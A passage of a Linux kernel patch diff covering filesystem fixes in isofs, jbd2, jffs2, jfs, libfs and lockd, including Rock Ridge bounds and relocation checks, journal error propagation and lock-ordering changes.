reloc_block; struct inode *reloc; struct rock_ridge *rr; int rootflag; @@ -305,7 +322,7 @@ parse_rock_ridge_inode_internal(struct iso_directory_record *de, init_rock_state(&rs, inode); setup_rock_ridge(de, inode, &rs); - if (regard_xa) { + if (flags & RR_REGARD_XA) { rs.chr += 14; rs.len -= 14; if (rs.len < 0) @@ -352,6 +369,9 @@ parse_rock_ridge_inode_internal(struct iso_directory_record *de, rs.cont_size = isonum_733(rr->u.CE.size); break; case SIG('E', 'R'): + /* Invalid length of ER tag id? */ + if (rr->u.ER.len_id + offsetof(struct rock_ridge, u.ER.data) > rr->len) + goto out; ISOFS_SB(inode->i_sb)->s_rock = 1; printk(KERN_DEBUG "ISO 9660 Extensions: "); { @@ -485,12 +505,22 @@ parse_rock_ridge_inode_internal(struct iso_directory_record *de, "relocated directory\n"); goto out; case SIG('C', 'L'): - ISOFS_I(inode)->i_first_extent = - isonum_733(rr->u.CL.location); - reloc = - isofs_iget(inode->i_sb, - ISOFS_I(inode)->i_first_extent, - 0); + if (flags & RR_RELOC_DE) { + printk(KERN_ERR + "ISOFS: Recursive directory relocation " + "is not supported\n"); + goto eio; + } + reloc_block = isonum_733(rr->u.CL.location); + if (reloc_block == ISOFS_I(inode)->i_iget5_block && + ISOFS_I(inode)->i_iget5_offset == 0) { + printk(KERN_ERR + "ISOFS: Directory relocation points to " + "itself\n"); + goto eio; + } + ISOFS_I(inode)->i_first_extent = reloc_block; + reloc = isofs_iget_reloc(inode->i_sb, reloc_block, 0); if (IS_ERR(reloc)) { ret = PTR_ERR(reloc); goto out; @@ -637,9 +667,11 @@ static char *get_symlink_chunk(char *rpnt, struct rock_ridge *rr, char *plimit) return rpnt; } -int parse_rock_ridge_inode(struct iso_directory_record *de, struct inode *inode) +int parse_rock_ridge_inode(struct iso_directory_record *de, struct inode *inode, + int relocated) { - int result = parse_rock_ridge_inode_internal(de, inode, 0); + int flags = relocated ? RR_RELOC_DE : 0; + int result = parse_rock_ridge_inode_internal(de, inode, flags); /* * if rockridge flag was reset and we didn't look for attributes @@ -647,7 +679,8 @@ int parse_rock_ridge_inode(struct iso_directory_record *de, struct inode *inode) */ if ((ISOFS_SB(inode->i_sb)->s_rock_offset == -1) && (ISOFS_SB(inode->i_sb)->s_rock == 2)) { - result = parse_rock_ridge_inode_internal(de, inode, 14); + result = parse_rock_ridge_inode_internal(de, inode, + flags | RR_REGARD_XA); } return result; } diff --git a/fs/jbd2/checkpoint.c b/fs/jbd2/checkpoint.c index c78841ee81cf3..6bb52859cb866 100644 --- a/fs/jbd2/checkpoint.c +++ b/fs/jbd2/checkpoint.c @@ -440,7 +440,7 @@ int jbd2_cleanup_journal_tail(journal_t *journal) unsigned long blocknr; if (is_journal_aborted(journal)) - return 1; + return -EIO; if (!jbd2_journal_get_log_tail(journal, &first_tid, &blocknr)) return 1; @@ -455,10 +455,9 @@ int jbd2_cleanup_journal_tail(journal_t *journal) * jbd2_cleanup_journal_tail() doesn't get called all that often. */ if (journal->j_flags & JBD2_BARRIER) - blkdev_issue_flush(journal->j_fs_dev, GFP_KERNEL, NULL); + blkdev_issue_flush(journal->j_fs_dev, GFP_NOFS, NULL); - __jbd2_update_log_tail(journal, first_tid, blocknr); - return 0; + return __jbd2_update_log_tail(journal, first_tid, blocknr); } diff --git a/fs/jbd2/journal.c b/fs/jbd2/journal.c index aaa1a3f33b0e9..85733dd95e146 100644 --- a/fs/jbd2/journal.c +++ b/fs/jbd2/journal.c @@ -869,9 +869,10 @@ int jbd2_journal_get_log_tail(journal_t *journal, tid_t *tid, * * Requires j_checkpoint_mutex */ -void __jbd2_update_log_tail(journal_t *journal, tid_t tid, unsigned long block) +int __jbd2_update_log_tail(journal_t *journal, tid_t tid, unsigned long block) { unsigned long freed; + int ret; BUG_ON(!mutex_is_locked(&journal->j_checkpoint_mutex)); @@ -881,7 +882,10 @@ void __jbd2_update_log_tail(journal_t *journal, tid_t tid, unsigned long block) * space and if we lose sb update during power failure we'd replay * old transaction with possibly newly overwritten data. */ - jbd2_journal_update_sb_log_tail(journal, tid, block, WRITE_FUA); + ret = jbd2_journal_update_sb_log_tail(journal, tid, block, WRITE_FUA); + if (ret) + goto out; + write_lock(&journal->j_state_lock); freed = block - journal->j_tail; if (block < journal->j_tail) @@ -897,6 +901,9 @@ void __jbd2_update_log_tail(journal_t *journal, tid_t tid, unsigned long block) journal->j_tail_sequence = tid; journal->j_tail = block; write_unlock(&journal->j_state_lock); + +out: + return ret; } /* @@ -1315,7 +1322,7 @@ static int journal_reset(journal_t *journal) return jbd2_journal_start_thread(journal); } -static void jbd2_write_superblock(journal_t *journal, int write_op) +static int jbd2_write_superblock(journal_t *journal, int write_op) { struct buffer_head *bh = journal->j_sb_buffer; journal_superblock_t *sb = journal->j_superblock; @@ -1354,7 +1361,10 @@ static void jbd2_write_superblock(journal_t *journal, int write_op) printk(KERN_ERR "JBD2: Error %d detected when updating " "journal superblock for %s.\n", ret, journal->j_devname); + jbd2_journal_abort(journal, ret); } + + return ret; } /** @@ -1367,10 +1377,11 @@ static void jbd2_write_superblock(journal_t *journal, int write_op) * Update a journal's superblock information about log tail and write it to * disk, waiting for the IO to complete. */ -void jbd2_journal_update_sb_log_tail(journal_t *journal, tid_t tail_tid, +int jbd2_journal_update_sb_log_tail(journal_t *journal, tid_t tail_tid, unsigned long tail_block, int write_op) { journal_superblock_t *sb = journal->j_superblock; + int ret; BUG_ON(!mutex_is_locked(&journal->j_checkpoint_mutex)); jbd_debug(1, "JBD2: updating superblock (start %lu, seq %u)\n", @@ -1379,23 +1390,29 @@ void jbd2_journal_update_sb_log_tail(journal_t *journal, tid_t tail_tid, sb->s_sequence = cpu_to_be32(tail_tid); sb->s_start = cpu_to_be32(tail_block); - jbd2_write_superblock(journal, write_op); + ret = jbd2_write_superblock(journal, write_op); + if (ret) + goto out; /* Log is no longer empty */ write_lock(&journal->j_state_lock); WARN_ON(!sb->s_sequence); journal->j_flags &= ~JBD2_FLUSHED; write_unlock(&journal->j_state_lock); + +out: + return ret; } /** * jbd2_mark_journal_empty() - Mark on disk journal as empty. * @journal: The journal to update. + * @write_op: With which operation should we write the journal sb * * Update a journal's dynamic superblock fields to show that journal is empty. * Write updated superblock to disk waiting for IO to complete. */ -static void jbd2_mark_journal_empty(journal_t *journal) +static void jbd2_mark_journal_empty(journal_t *journal, int write_op) { journal_superblock_t *sb = journal->j_superblock; @@ -1413,7 +1430,7 @@ static void jbd2_mark_journal_empty(journal_t *journal) sb->s_start = cpu_to_be32(0); read_unlock(&journal->j_state_lock); - jbd2_write_superblock(journal, WRITE_FUA); + jbd2_write_superblock(journal, write_op); /* Log is no longer empty */ write_lock(&journal->j_state_lock); @@ -1681,7 +1698,13 @@ int jbd2_journal_destroy(journal_t *journal) if (journal->j_sb_buffer) { if (!is_journal_aborted(journal)) { mutex_lock(&journal->j_checkpoint_mutex); - jbd2_mark_journal_empty(journal); + + write_lock(&journal->j_state_lock); + journal->j_tail_sequence = + ++journal->j_transaction_sequence; + write_unlock(&journal->j_state_lock); + + jbd2_mark_journal_empty(journal, WRITE_FLUSH_FUA); mutex_unlock(&journal->j_checkpoint_mutex); } else err = -EIO; @@ -1922,14 +1945,21 @@ int jbd2_journal_flush(journal_t *journal) return -EIO; mutex_lock(&journal->j_checkpoint_mutex); - jbd2_cleanup_journal_tail(journal); + if (!err) { + err = jbd2_cleanup_journal_tail(journal); + if (err < 0) { + mutex_unlock(&journal->j_checkpoint_mutex); + goto out; + } + err = 0; + } /* Finally, mark the journal as really needing no recovery. * This sets s_start==0 in the underlying superblock, which is * the magic code for a fully-recovered superblock. Any future * commits of data to the journal will restore the current * s_start value. */ - jbd2_mark_journal_empty(journal); + jbd2_mark_journal_empty(journal, WRITE_FUA); mutex_unlock(&journal->j_checkpoint_mutex); write_lock(&journal->j_state_lock); J_ASSERT(!journal->j_running_transaction); @@ -1938,7 +1968,8 @@ int jbd2_journal_flush(journal_t *journal) J_ASSERT(journal->j_head == journal->j_tail); J_ASSERT(journal->j_tail_sequence == journal->j_transaction_sequence); write_unlock(&journal->j_state_lock); - return 0; +out: + return err; } /** @@ -1974,7 +2005,7 @@ int jbd2_journal_wipe(journal_t *journal, int write) if (write) { /* Lock to make assertions happy... */ mutex_lock(&journal->j_checkpoint_mutex); - jbd2_mark_journal_empty(journal); + jbd2_mark_journal_empty(journal, WRITE_FUA); mutex_unlock(&journal->j_checkpoint_mutex); } @@ -2025,8 +2056,12 @@ static void __journal_abort_soft (journal_t *journal, int errno) __jbd2_journal_abort_hard(journal); - if (errno) + if (errno) { jbd2_journal_update_sb_errno(journal); + write_lock(&journal->j_state_lock); + journal->j_flags |= JBD2_REC_ERR; + write_unlock(&journal->j_state_lock); + } } /** diff --git a/fs/jbd2/recovery.c b/fs/jbd2/recovery.c index 626846bac32f8..6e2fb5cbacde6 100644 --- a/fs/jbd2/recovery.c +++ b/fs/jbd2/recovery.c @@ -427,6 +427,7 @@ static int do_one_pass(journal_t *journal, int tag_bytes = journal_tag_bytes(journal); __u32 crc32_sum = ~0; /* Transactional Checksums */ int descr_csum_size = 0; + int block_error = 0; /* * First thing is to establish what we expect to find in the log @@ -521,6 +522,7 @@ static int do_one_pass(journal_t *journal, !jbd2_descr_block_csum_verify(journal, bh->b_data)) { err = -EIO; + brelse(bh); goto failed; } @@ -599,7 +601,8 @@ static int do_one_pass(journal_t *journal, "checksum recovering " "block %llu in log\n", blocknr); - continue; + block_error = 1; + goto skip_write; } /* Find a buffer for the new @@ -798,7 +801,8 @@ static int do_one_pass(journal_t *journal, success = -EIO; } } - + if (block_error && success == 0) + success = -EIO; return success; failed: diff --git a/fs/jbd2/transaction.c b/fs/jbd2/transaction.c index ec34e11d68548..21b828c713cc3 100644 --- a/fs/jbd2/transaction.c +++ b/fs/jbd2/transaction.c @@ -1936,6 +1936,7 @@ static int journal_unmap_buffer(journal_t *journal, struct buffer_head *bh, if (!buffer_dirty(bh)) { /* bdflush has written it. We can drop it now */ + __jbd2_journal_remove_checkpoint(jh); goto zap_buffer; } @@ -1965,6 +1966,7 @@ static int journal_unmap_buffer(journal_t *journal, struct buffer_head *bh, /* The orphan record's transaction has * committed. We can cleanse this buffer */ clear_buffer_jbddirty(bh); + __jbd2_journal_remove_checkpoint(jh); goto zap_buffer; } } diff --git a/fs/jffs2/README.Locking b/fs/jffs2/README.Locking index 3ea36554107fc..8918ac905a3b1 100644 --- a/fs/jffs2/README.Locking +++ b/fs/jffs2/README.Locking @@ -2,10 +2,6 @@ JFFS2 LOCKING DOCUMENTATION --------------------------- -At least theoretically, JFFS2 does not require the Big Kernel Lock -(BKL), which was always helpfully obtained for it by Linux 2.4 VFS -code. It has its own locking, as described below. - This document attempts to describe the existing locking rules for JFFS2. It is not expected to remain perfectly up to date, but ought to be fairly close. @@ -69,6 +65,7 @@ Ordering constraints: any f->sem held. 2. Never attempt to lock two file mutexes in one thread. No ordering rules have been made for doing so. + 3. Never lock a page cache page with f->sem held. erase_completion_lock spinlock diff --git a/fs/jffs2/build.c b/fs/jffs2/build.c index a3750f902adcb..c1f04947d7dcf 100644 --- a/fs/jffs2/build.c +++ b/fs/jffs2/build.c @@ -49,7 +49,8 @@ next_inode(int *i, struct jffs2_inode_cache *ic, struct jffs2_sb_info *c) static void jffs2_build_inode_pass1(struct jffs2_sb_info *c, - struct jffs2_inode_cache *ic) + struct jffs2_inode_cache *ic, + int *dir_hardlinks) { struct jffs2_full_dirent *fd; @@ -68,19 +69,21 @@ static void jffs2_build_inode_pass1(struct jffs2_sb_info *c, dbg_fsbuild("child \"%s\" (ino #%u) of dir ino #%u doesn't exist!\n", fd->name, fd->ino, ic->ino); jffs2_mark_node_obsolete(c, fd->raw); + /* Clear the ic/raw union so it doesn't cause problems later. */ + fd->ic = NULL; continue; } + /* From this point, fd->raw is no longer used so we can set fd->ic */ + fd->ic = child_ic; + child_ic->pino_nlink++; + /* If we appear (at this stage) to have hard-linked directories, + * set a flag to trigger a scan later */ if (fd->type == DT_DIR) { - if (child_ic->pino_nlink) { - JFFS2_ERROR("child dir \"%s\" (ino #%u) of dir ino #%u appears to be a hard link\n", - fd->name, fd->ino, ic->ino); - /* TODO: What do we do about it? */ - } else { - child_ic->pino_nlink = ic->ino; - } - } else - child_ic->pino_nlink++; + child_ic->flags |= INO_FLAGS_IS_DIR; + if (child_ic->pino_nlink > 1) + *dir_hardlinks = 1; + } dbg_fsbuild("increased nlink for child \"%s\" (ino #%u)\n", fd->name, fd->ino); /* Can't free scan_dents so far. We might need them in pass 2 */ @@ -94,8 +97,7 @@ static void jffs2_build_inode_pass1(struct jffs2_sb_info *c, */ static int jffs2_build_filesystem(struct jffs2_sb_info *c) { - int ret; - int i; + int ret, i, dir_hardlinks = 0; struct jffs2_inode_cache *ic; struct jffs2_full_dirent *fd; struct jffs2_full_dirent *dead_fds = NULL; @@ -119,7 +121,7 @@ static int jffs2_build_filesystem(struct jffs2_sb_info *c) /* Now scan the directory tree, increasing nlink according to every dirent found. */ for_each_inode(i, c, ic) { if (ic->scan_dents) { - jffs2_build_inode_pass1(c, ic); + jffs2_build_inode_pass1(c, ic, &dir_hardlinks); cond_resched(); } } @@ -155,6 +157,20 @@ static int jffs2_build_filesystem(struct jffs2_sb_info *c) } dbg_fsbuild("pass 2a complete\n"); + + if (dir_hardlinks) { + /* If we detected directory hardlinks earlier, *hopefully* + * they are gone now because some of the links were from + * dead directories which still had some old dirents lying + * around and not yet garbage-collected, but which have + * been discarded above. So clear the pino_nlink field + * in each directory, so that the final scan below can + * print appropriate warnings. */ + for_each_inode(i, c, ic) { + if (ic->flags & INO_FLAGS_IS_DIR) + ic->pino_nlink = 0; + } + } dbg_fsbuild("freeing temporary data structures\n"); /* Finally, we can scan again and free the dirent structs */ @@ -162,6 +178,33 @@ static int jffs2_build_filesystem(struct jffs2_sb_info *c) while(ic->scan_dents) { fd = ic->scan_dents; ic->scan_dents = fd->next; + /* We do use the pino_nlink field to count nlink of + * directories during fs build, so set it to the + * parent ino# now. Now that there's hopefully only + * one. */ + if (fd->type == DT_DIR) { + if (!fd->ic) { + /* We'll have complained about it and marked the coresponding + raw node obsolete already. Just skip it. */ + continue; + } + + /* We *have* to have set this in jffs2_build_inode_pass1() */ + BUG_ON(!(fd->ic->flags & INO_FLAGS_IS_DIR)); + + /* We clear ic->pino_nlink ∀ directories' ic *only* if dir_hardlinks + * is set. Otherwise, we know this should never trigger anyway, so + * we don't do the check. And ic->pino_nlink still contains the nlink + * value (which is 1). */ + if (dir_hardlinks && fd->ic->pino_nlink) { + JFFS2_ERROR("child dir \"%s\" (ino #%u) of dir ino #%u is also hard linked from dir ino #%u\n", + fd->name, fd->ino, ic->ino, fd->ic->pino_nlink); + /* Should we unlink it from its previous parent? */ + } + + /* For directories, ic->pino_nlink holds that parent inode # */ + fd->ic->pino_nlink = ic->ino; + } jffs2_free_full_dirent(fd); } ic->scan_dents = NULL; @@ -240,11 +283,7 @@ static void jffs2_build_remove_unlinked_inode(struct jffs2_sb_info *c, /* Reduce nlink of the child. If it's now zero, stick it on the dead_fds list to be cleaned up later. Else just free the fd */ - - if (fd->type == DT_DIR) - child_ic->pino_nlink = 0; - else - child_ic->pino_nlink--; + child_ic->pino_nlink--; if (!child_ic->pino_nlink) { dbg_fsbuild("inode #%u (\"%s\") now has no links; adding to dead_fds list.\n", diff --git a/fs/jffs2/file.c b/fs/jffs2/file.c index 1506673c087e1..60ef3fb707ffb 100644 --- a/fs/jffs2/file.c +++ b/fs/jffs2/file.c @@ -138,39 +138,33 @@ static int jffs2_write_begin(struct file *filp, struct address_space *mapping, struct page *pg; struct inode *inode = mapping->host; struct jffs2_inode_info *f = JFFS2_INODE_INFO(inode); - struct jffs2_sb_info *c = JFFS2_SB_INFO(inode->i_sb); - struct jffs2_raw_inode ri; - uint32_t alloc_len = 0; pgoff_t index = pos >> PAGE_CACHE_SHIFT; uint32_t pageofs = index << PAGE_CACHE_SHIFT; int ret = 0; - jffs2_dbg(1, "%s()\n", __func__); - - if (pageofs > inode->i_size) { - ret = jffs2_reserve_space(c, sizeof(ri), &alloc_len, - ALLOC_NORMAL, JFFS2_SUMMARY_INODE_SIZE); - if (ret) - return ret; - } - - mutex_lock(&f->sem); pg = grab_cache_page_write_begin(mapping, index, flags); - if (!pg) { - if (alloc_len) - jffs2_complete_reservation(c); - mutex_unlock(&f->sem); + if (!pg) return -ENOMEM; - } *pagep = pg; - if (alloc_len) { + jffs2_dbg(1, "%s()\n", __func__); + + if (pageofs > inode->i_size) { /* Make new hole frag from old EOF to new page */ + struct jffs2_sb_info *c = JFFS2_SB_INFO(inode->i_sb); + struct jffs2_raw_inode ri; struct jffs2_full_dnode *fn; + uint32_t alloc_len; jffs2_dbg(1, "Writing new hole frag 0x%x-0x%x between current EOF and new page\n", (unsigned int)inode->i_size, pageofs); + ret = jffs2_reserve_space(c, sizeof(ri), &alloc_len, + ALLOC_NORMAL, JFFS2_SUMMARY_INODE_SIZE); + if (ret) + goto out_page; + + mutex_lock(&f->sem); memset(&ri, 0, sizeof(ri)); ri.magic = cpu_to_je16(JFFS2_MAGIC_BITMASK); @@ -197,6 +191,7 @@ static int jffs2_write_begin(struct file *filp, struct address_space *mapping, if (IS_ERR(fn)) { ret = PTR_ERR(fn); jffs2_complete_reservation(c); + mutex_unlock(&f->sem); goto out_page; } ret = jffs2_add_full_dnode_to_inode(c, f, fn); @@ -211,10 +206,12 @@ static int jffs2_write_begin(struct file *filp, struct address_space *mapping, jffs2_mark_node_obsolete(c, fn->raw); jffs2_free_full_dnode(fn); jffs2_complete_reservation(c); + mutex_unlock(&f->sem); goto out_page; } jffs2_complete_reservation(c); inode->i_size = pageofs; + mutex_unlock(&f->sem); } /* @@ -223,18 +220,18 @@ static int jffs2_write_begin(struct file *filp, struct address_space *mapping, * case of a short-copy. */ if (!PageUptodate(pg)) { + mutex_lock(&f->sem); ret = jffs2_do_readpage_nolock(inode, pg); + mutex_unlock(&f->sem); if (ret) goto out_page; } - mutex_unlock(&f->sem); jffs2_dbg(1, "end write_begin(). pg->flags %lx\n", pg->flags); return ret; out_page: unlock_page(pg); page_cache_release(pg); - mutex_unlock(&f->sem); return ret; } diff --git a/fs/jffs2/gc.c b/fs/jffs2/gc.c index 5a2dec2b064c9..95d5880a63ee1 100644 --- a/fs/jffs2/gc.c +++ b/fs/jffs2/gc.c @@ -1296,14 +1296,17 @@ static int jffs2_garbage_collect_dnode(struct jffs2_sb_info *c, struct jffs2_era BUG_ON(start > orig_start); } - /* First, use readpage() to read the appropriate page into the page cache */ - /* Q: What happens if we actually try to GC the _same_ page for which commit_write() - * triggered garbage collection in the first place? - * A: I _think_ it's OK. read_cache_page shouldn't deadlock, we'll write out the - * page OK. We'll actually write it out again in commit_write, which is a little - * suboptimal, but at least we're correct. - */ + /* The rules state that we must obtain the page lock *before* f->sem, so + * drop f->sem temporarily. Since we also hold c->alloc_sem, nothing's + * actually going to *change* so we're safe; we only allow reading. + * + * It is important to note that jffs2_write_begin() will ensure that its + * page is marked Uptodate before allocating space. That means that if we + * end up here trying to GC the *same* page that jffs2_write_begin() is + * trying to write out, read_cache_page() will not deadlock. */ + mutex_unlock(&f->sem); pg_ptr = jffs2_gc_fetch_page(c, f, start, &pg); + mutex_lock(&f->sem); if (IS_ERR(pg_ptr)) { pr_warn("read_cache_page() returned error: %ld\n", diff --git a/fs/jffs2/jffs2_fs_sb.h b/fs/jffs2/jffs2_fs_sb.h index 413ef89c2d1ba..046fee8b6e9b3 100644 --- a/fs/jffs2/jffs2_fs_sb.h +++ b/fs/jffs2/jffs2_fs_sb.h @@ -134,8 +134,6 @@ struct jffs2_sb_info { struct rw_semaphore wbuf_sem; /* Protects the write buffer */ struct delayed_work wbuf_dwork; /* write-buffer write-out work */ - int wbuf_queued; /* non-zero delayed work is queued */ - spinlock_t wbuf_dwork_lock; /* protects wbuf_dwork and and wbuf_queued */ unsigned char *oobbuf; int oobavail; /* How many bytes are available for JFFS2 in OOB */ diff --git a/fs/jffs2/nodelist.h b/fs/jffs2/nodelist.h index fa35ff79ab358..0637271f37701 100644 --- a/fs/jffs2/nodelist.h +++ b/fs/jffs2/nodelist.h @@ -194,6 +194,7 @@ struct jffs2_inode_cache { #define INO_STATE_CLEARING 6 /* In clear_inode() */ #define INO_FLAGS_XATTR_CHECKED 0x01 /* has no duplicate xattr_ref */ +#define INO_FLAGS_IS_DIR 0x02 /* is a directory */ #define RAWNODE_CLASS_INODE_CACHE 0 #define RAWNODE_CLASS_XATTR_DATUM 1 @@ -249,7 +250,10 @@ struct jffs2_readinode_info struct jffs2_full_dirent { - struct jffs2_raw_node_ref *raw; + union { + struct jffs2_raw_node_ref *raw; + struct jffs2_inode_cache *ic; /* Just during part of build */ + }; struct jffs2_full_dirent *next; uint32_t version; uint32_t ino; /* == zero for unlink */ diff --git a/fs/jffs2/scan.c b/fs/jffs2/scan.c index 7654e87b04286..9ad5ba4b299be 100644 --- a/fs/jffs2/scan.c +++ b/fs/jffs2/scan.c @@ -510,6 +510,10 @@ static int jffs2_scan_eraseblock (struct jffs2_sb_info *c, struct jffs2_eraseblo sumlen = c->sector_size - je32_to_cpu(sm->offset); sumptr = buf + buf_size - sumlen; + /* sm->offset maybe wrong but MAGIC maybe right */ + if (sumlen > c->sector_size) + goto full_scan; + /* Now, make sure the summary itself is available */ if (sumlen > buf_size) { /* Need to kmalloc for this. */ @@ -544,6 +548,7 @@ static int jffs2_scan_eraseblock (struct jffs2_sb_info *c, struct jffs2_eraseblo } } +full_scan: buf_ofs = jeb->offset; if (!buf_size) { diff --git a/fs/jffs2/wbuf.c b/fs/jffs2/wbuf.c index a6597d60d76de..09ed55190ee2c 100644 --- a/fs/jffs2/wbuf.c +++ b/fs/jffs2/wbuf.c @@ -1162,10 +1162,6 @@ static void delayed_wbuf_sync(struct work_struct *work) struct jffs2_sb_info *c = work_to_sb(work); struct super_block *sb = OFNI_BS_2SFFJ(c); - spin_lock(&c->wbuf_dwork_lock); - c->wbuf_queued = 0; - spin_unlock(&c->wbuf_dwork_lock); - if (!(sb->s_flags & MS_RDONLY)) { jffs2_dbg(1, "%s()\n", __func__); jffs2_flush_wbuf_gc(c, 0); @@ -1180,14 +1176,9 @@ void jffs2_dirty_trigger(struct jffs2_sb_info *c) if (sb->s_flags & MS_RDONLY) return; - spin_lock(&c->wbuf_dwork_lock); - if (!c->wbuf_queued) { + delay = msecs_to_jiffies(dirty_writeback_interval * 10); + if (queue_delayed_work(system_long_wq, &c->wbuf_dwork, delay)) jffs2_dbg(1, "%s()\n", __func__); - delay = msecs_to_jiffies(dirty_writeback_interval * 10); - queue_delayed_work(system_long_wq, &c->wbuf_dwork, delay); - c->wbuf_queued = 1; - } - spin_unlock(&c->wbuf_dwork_lock); } int jffs2_nand_flash_setup(struct jffs2_sb_info *c) @@ -1211,7 +1202,6 @@ int jffs2_nand_flash_setup(struct jffs2_sb_info *c) /* Initialise write buffer */ init_rwsem(&c->wbuf_sem); - spin_lock_init(&c->wbuf_dwork_lock); INIT_DELAYED_WORK(&c->wbuf_dwork, delayed_wbuf_sync); c->wbuf_pagesize = c->mtd->writesize; c->wbuf_ofs = 0xFFFFFFFF; @@ -1251,7 +1241,6 @@ int jffs2_dataflash_setup(struct jffs2_sb_info *c) { /* Initialize write buffer */ init_rwsem(&c->wbuf_sem); - spin_lock_init(&c->wbuf_dwork_lock); INIT_DELAYED_WORK(&c->wbuf_dwork, delayed_wbuf_sync); c->wbuf_pagesize = c->mtd->erasesize; @@ -1311,7 +1300,6 @@ int jffs2_nor_wbuf_flash_setup(struct jffs2_sb_info *c) { /* Initialize write buffer */ init_rwsem(&c->wbuf_sem); - spin_lock_init(&c->wbuf_dwork_lock); INIT_DELAYED_WORK(&c->wbuf_dwork, delayed_wbuf_sync); c->wbuf_pagesize = c->mtd->writesize; @@ -1346,7 +1334,6 @@ int jffs2_ubivol_setup(struct jffs2_sb_info *c) { return 0; init_rwsem(&c->wbuf_sem); - spin_lock_init(&c->wbuf_dwork_lock); INIT_DELAYED_WORK(&c->wbuf_dwork, delayed_wbuf_sync); c->wbuf_pagesize = c->mtd->writesize; diff --git a/fs/jfs/jfs_dtree.c b/fs/jfs/jfs_dtree.c index c450fdb3d78d2..5d876b1c9ea45 100644 --- a/fs/jfs/jfs_dtree.c +++ b/fs/jfs/jfs_dtree.c @@ -3103,7 +3103,7 @@ int jfs_readdir(struct file *filp, void *dirent, filldir_t filldir) * self "." */ filp->f_pos = 1; - if (filldir(dirent, ".", 1, 0, ip->i_ino, + if (filldir(dirent, ".", 1, 1, ip->i_ino, DT_DIR)) return 0; } @@ -3111,7 +3111,7 @@ int jfs_readdir(struct file *filp, void *dirent, filldir_t filldir) * parent ".." */ filp->f_pos = 2; - if (filldir(dirent, "..", 2, 1, PARENT(ip), DT_DIR)) + if (filldir(dirent, "..", 2, 2, PARENT(ip), DT_DIR)) return 0; /* diff --git a/fs/libfs.c b/fs/libfs.c index 916da8c4158b0..1299bd5e07b7f 100644 --- a/fs/libfs.c +++ b/fs/libfs.c @@ -104,18 +104,18 @@ loff_t dcache_dir_lseek(struct file *file, loff_t offset, int whence) spin_lock(&dentry->d_lock); /* d_lock not required for cursor */ - list_del(&cursor->d_u.d_child); + list_del(&cursor->d_child); p = dentry->d_subdirs.next; while (n && p != &dentry->d_subdirs) { struct dentry *next; - next = list_entry(p, struct dentry, d_u.d_child); + next = list_entry(p, struct dentry, d_child); spin_lock_nested(&next->d_lock, DENTRY_D_LOCK_NESTED); if (simple_positive(next)) n--; spin_unlock(&next->d_lock); p = p->next; } - list_add_tail(&cursor->d_u.d_child, p); + list_add_tail(&cursor->d_child, p); spin_unlock(&dentry->d_lock); } } @@ -139,7 +139,7 @@ int dcache_readdir(struct file * filp, void * dirent, filldir_t filldir) { struct dentry *dentry = filp->f_path.dentry; struct dentry *cursor = filp->private_data; - struct list_head *p, *q = &cursor->d_u.d_child; + struct list_head *p, *q = &cursor->d_child; ino_t ino; int i = filp->f_pos; @@ -165,7 +165,7 @@ int dcache_readdir(struct file * filp, void * dirent, filldir_t filldir) for (p=q->next; p != &dentry->d_subdirs; p=p->next) { struct dentry *next; - next = list_entry(p, struct dentry, d_u.d_child); + next = list_entry(p, struct dentry, d_child); spin_lock_nested(&next->d_lock, DENTRY_D_LOCK_NESTED); if (!simple_positive(next)) { spin_unlock(&next->d_lock); @@ -289,7 +289,7 @@ int simple_empty(struct dentry *dentry) int ret = 0; spin_lock(&dentry->d_lock); - list_for_each_entry(child, &dentry->d_subdirs, d_u.d_child) { + list_for_each_entry(child, &dentry->d_subdirs, d_child) { spin_lock_nested(&child->d_lock, DENTRY_D_LOCK_NESTED); if (simple_positive(child)) { spin_unlock(&child->d_lock); diff --git a/fs/lockd/host.c b/fs/lockd/host.c index 969d589c848df..b5f3c3ab0d5f2 100644 --- a/fs/lockd/host.c +++ b/fs/lockd/host.c @@ -116,7 +116,7 @@ static struct nlm_host *nlm_alloc_host(struct nlm_lookup_host_info *ni, atomic_inc(&nsm->sm_count); else { host = NULL; - nsm = nsm_get_handle(ni->sap, ni->salen, + nsm = nsm_get_handle(ni->net, ni->sap, ni->salen, ni->hostname, ni->hostname_len); if (unlikely(nsm == NULL)) { dprintk("lockd: %s failed; no nsm handle\n", @@ -534,17 +534,18 @@ static struct nlm_host *next_host_state(struct hlist_head *cache, /** * nlm_host_rebooted - Release all resources held by rebooted host + * @net: network namespace * @info: pointer to decoded results of NLM_SM_NOTIFY call * * We were notified that the specified host has rebooted. Release * all resources held by that peer. */ -void nlm_host_rebooted(const struct nlm_reboot *info) +void nlm_host_rebooted(const struct net *net, const struct nlm_reboot *info) { struct nsm_handle *nsm; struct nlm_host *host; - nsm = nsm_reboot_lookup(info); + nsm = nsm_reboot_lookup(net, info); if (unlikely(nsm == NULL)) return; diff --git a/fs/lockd/mon.c b/fs/lockd/mon.c index 1812f026960c4..13fac49aff7f4 100644 --- a/fs/lockd/mon.c +++ b/fs/lockd/mon.c @@ -51,7 +51,6 @@ struct nsm_res { }; static const struct rpc_program nsm_program; -static LIST_HEAD(nsm_handles); static DEFINE_SPINLOCK(nsm_lock); /* @@ -159,6 +158,12 @@ static int nsm_mon_unmon(struct nsm_handle *nsm, u32 proc, struct nsm_res *res, msg.rpc_proc = &clnt->cl_procinfo[proc]; status = rpc_call_sync(clnt, &msg, RPC_TASK_SOFTCONN); + if (status == -ECONNREFUSED) { + dprintk("lockd: NSM upcall RPC failed, status=%d, forcing rebind\n", + status); + rpc_force_rebind(clnt); + status = rpc_call_sync(clnt, &msg, RPC_TASK_SOFTCONN); + } if (status < 0) dprintk("lockd: NSM upcall RPC failed, status=%d\n", status); @@ -253,33 +258,35 @@ void nsm_unmonitor(const struct nlm_host *host) } } -static struct nsm_handle *nsm_lookup_hostname(const char *hostname, - const size_t len) +static struct nsm_handle *nsm_lookup_hostname(const struct list_head *nsm_handles, + const char *hostname, const size_t len) { struct nsm_handle *nsm; - list_for_each_entry(nsm, &nsm_handles, sm_link) + list_for_each_entry(nsm, nsm_handles, sm_link) if (strlen(nsm->sm_name) == len && memcmp(nsm->sm_name, hostname, len) == 0) return nsm; return NULL; } -static struct nsm_handle *nsm_lookup_addr(const struct sockaddr *sap) +static struct nsm_handle *nsm_lookup_addr(const struct list_head *nsm_handles, + const struct sockaddr *sap) { struct nsm_handle *nsm; - list_for_each_entry(nsm, &nsm_handles, sm_link) + list_for_each_entry(nsm, nsm_handles, sm_link) if (rpc_cmp_addr(nsm_addr(nsm), sap)) return nsm; return NULL; } -static struct nsm_handle *nsm_lookup_priv(const struct nsm_private *priv) +static struct nsm_handle *nsm_lookup_priv(const 